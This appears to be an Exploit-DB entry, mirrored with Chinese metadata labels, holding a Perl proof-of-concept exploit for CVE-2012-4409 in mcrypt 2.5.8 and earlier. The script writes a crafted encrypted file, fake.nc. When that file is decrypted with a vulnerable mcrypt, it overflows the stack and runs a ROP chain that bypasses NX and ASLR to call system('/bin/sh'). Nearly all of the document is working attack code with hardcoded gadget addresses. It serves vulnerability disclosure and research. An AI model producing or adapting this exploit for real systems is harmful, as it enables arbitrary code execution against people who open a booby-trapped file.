mcrypt 2.5.8 – Local Stack Overflow

  • 作者: Tosh
    日期: 2012-11-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/22928/
  • #!/usr/bin/perl
    
    # Title: mcrypt <= 2.5.8 STACK based overflow
    # Date : 23/11/2012
    # Exploit Author : Tosh
    # CVE: CVE-2012-4409 
    # Patch: http://www.openwall.com/lists/oss-security/2012/09/06/8
    # Tested on: Archlinux 3.6.6-1, without SSP
    
    
    # This script exploit a stack based overflow in mcrypt <= 2.5.8.
    # It bypass NX and ASLR protections, but no SSP.
    
    # This exploit craft a crypted file and arbitrary code may be executed if the file is decrypted with a vulnerable version
    # of mcrypt. The vulnerable function is check_file_head(), present in src/extra.c. See the CVE details or the patch for more
    # informations.
    
    # Payload must be adjusted on others plateforms, here is just a Proof of Concept :) 
    
    use strict;
    use warnings;
    
    my $filename = 'fake.nc';
    
    my $file;
    my $payload;
    
    print "[+] Build payload.\n";
    $payload = payload();
    
    print "[+] Build file.\n";
    $file = build_file($payload);
    
    print "[+] Writing $filename.\n";
    write_file();
    
    print "[+] DONE.\n";
    
    sub write_file {
    die("[-] Can't open $filename : $!\n") unless(open F, '>', $filename);
    print F $file;
    close F;
    }
    
    sub build_file {
    # magic 
    $file .= "\x00m\x03";
    
    # flags
    $file .= pack('C', 1 << 6);
    
    # algorithm
    $file .= "H\@Ck3d\x00";
    
    # keysize
    $file .= pack('S', 0xdead);
    
    # mode
    $file .= "h\@cK3d\x00";
    
    # keymode
    $file .= "H\@CK3D\x00";
    
    # sflags
    $file .= "\xff";
    
    # payload
    $file .= $_[0];
    
    return $file;
    }
    
    sub payload {
    my $saved_eip_off = 0x71; # Buffer len for overwrite saved EIP
    my $v_local_1 = 0x0805b000; # Local variable 1 overwriten
    my $v_local_2 = 0x08048007; # Local variable 2 overwriten
    my $ret_sled= 5;# Offset between saved EIP and local variables
    my $strcpy_plt= 0x080499f0; # strcpy@plt address
    my $fopen64_got = 0x0805b1c8; # fopen64 got entry
    my $system_off= 0xfffd6b30; # fopen64 - system
    my $w_mem = 0x0805b000; # writable memory, without ASLR
    
    my $pop2_ret= 0x08055a63; # pop; pop; ret
    my $ret = 0x0805a5ed; # ret
    my $pop_ebx = 0x08056186; # pop ebx; ret
    my $pop_edi = 0x08053460; # pop edi; ret
    my $xchg_eax= 0x080517a4; # xchg eax, edi; ret
    my $add_eax = 0x0804dabf; # add eax,[ebx-0x2776e73c]; pop ebx; ret
    my $call_eax= 0x0804b357; # call eax; leave; ret
    
    my $payload;
    
    $payload .= "A"x$saved_eip_off;
    $payload .= pack('L', $ret) x $ret_sled;
    $payload .= pack('L', $pop2_ret);
    $payload .= pack('L', $v_local_1);
    $payload .= pack('L', $v_local_2);
    
    # Copy"/bin/" in +W memory
    $payload .= pack('L', $strcpy_plt);
    $payload .= pack('L', $pop2_ret);
    $payload .= pack('L', $w_mem + 0x00);
    $payload .= pack('L', 0x08057fc2); 
    
    # Copy "sh" + "\x00" in +W memory
    $payload .= pack('L', $strcpy_plt);
    $payload .= pack('L', $pop2_ret);
    $payload .= pack('L', $w_mem + 0x05);
    $payload .= pack('L', 0x08048bab);
    
    # Calc system() address with fopen64 GOT entry
    $payload .= pack('L', $pop_ebx);
    $payload .= pack('L', $fopen64_got + 0x2776e73c);
    
    $payload .= pack('L', $pop_edi);
    $payload .= pack('L', $system_off);
    
    $payload .= pack('L', $xchg_eax);
    
    $payload .= pack('L', $add_eax);
    $payload .= "HaCk";
    
    # Call system("/bin/sh")
    $payload .= pack('L', $call_eax);
    $payload .= pack('L', $w_mem);
    
    die("[-] Payload too long !\n") if(length $payload > 0xfe);
    return $payload;
    }